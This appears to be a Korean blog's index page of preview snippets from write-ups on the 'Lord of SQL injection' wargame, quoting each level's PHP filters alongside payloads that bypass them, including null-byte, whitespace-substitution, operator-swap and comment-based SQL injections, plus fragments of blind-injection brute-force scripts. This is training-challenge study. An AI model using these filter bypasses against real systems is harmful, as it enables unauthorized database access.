본문 바로가기

WarGame/Web

(25)
[Lord of SQL injection] succubus 소스코드 분석if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");if(preg_match('/\'/i', $_GET[id])) exit("HeHe");if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; zombie_assassin 문제와 정말 흡사한데 ereg가 아닌 preg_match로 필터링 하고있다.싱글쿼터를 무효화 시켜야하는데 i..
[Lord of SQL injection] zombie_assassin 소스코드 분석if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/\\\|prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(@ereg("'",$_GET[id])) exit("HeHe"); if(@ereg("'",$_GET[pw])) exit("HeHe"); 싱글쿼터를 우회만 하면되는데 그렇다할 방법을 못찾았다.그래서 ereg 함수의 취약점을 이용하자. ereg의 취약점은 Null값을 주면 필터링이 정상적으로 되지 않는다.(PHP 5.3 이상) ereg 대신 preg_match함수 사용을 권장그리고 id 값을 참으로만 만들면 문제가 풀린다. ?id=%00%..
[Lord of SQL injection] assassin 소스코드 분석if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_assassin where pw like '{$_GET[pw]}'";like 사용법like %abc : abc로 끝나는 값like abc% : abc로 시작하는 값like %abc% : abc가 들어가는 값 if($result['id'] == 'admin') solve("assassin"); 그리고 id = admin만 만족하면된다. import http.client result='' leng=0 header={'Cookie':' '} string="123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*()_-=+0"..
[Lord of SQL injection] giant 소스코드 분석if(strlen($_GET[shit])>1) exit("No Hack ~_~"); if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe");문자열 길이가 1을 넘으면안된다. 그리고 space, \n(줄 바꿈), \r(줄 처음), \t(tab)을 필터링 해놨다.이거 말고 다른 문자를 써서 풀면된다.ex)%0b, %0c ?shit=%0b
[Lord of SQL injection] bugbear 소스코드 분석if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); darkknight문제랑 상당히 흡사한데 or and space like 0x 를 필터링 해놨다.or -> ||, and -> &&, space -> %09(Tab), like -> IN 을 사용하면된다. ?pw=1234&no=123%09||%09id%09IN%09("admin")%09%26%26%09length(pw)%09IN%09(8) ?p..
[Lord of SQL injection] darkknight 소스코드 분석if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); 싱글쿼터 substr ascii = 필터링을 해놨다.pw부분을 사용을 할려면 싱글쿼터를 사용 해야하는데 막아놨으니no쪽을 공략한다. ?pw=1234&no=123%20or%20id%20LIKE%20"admin"%20and%20length(pw)%20like%208 ?pw=1234&no=123%20or%20id%20LIKE%20"admin"%20and%20left(pw,1)%20like%20"1" import http.client result='' leng=0 header={'Cookie':' '..
[Lord of SQL injection] golem 소스코드 분석if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); ( ) or and substr 을 사용못하게 해놨다. $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); admin의 pw를 찾는 Blind sql injection 문제이다. ( -> %28, ) -> %29, or -> ||, and -> &&, su..
[Lord of SQL injection] skeleton 소스코드 분석if($result['id'] == 'admin') solve("skeleton");id = 'admin'을 만족하면 풀리는데 뒤에 select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0and 1=0 이라는 조건이 붙었는데 뒤에는 주석으로 생략을 한다. ?pw=%27%20or%20id%20=%20%27admin%27%20%23?pw=' or id = 'admin' %23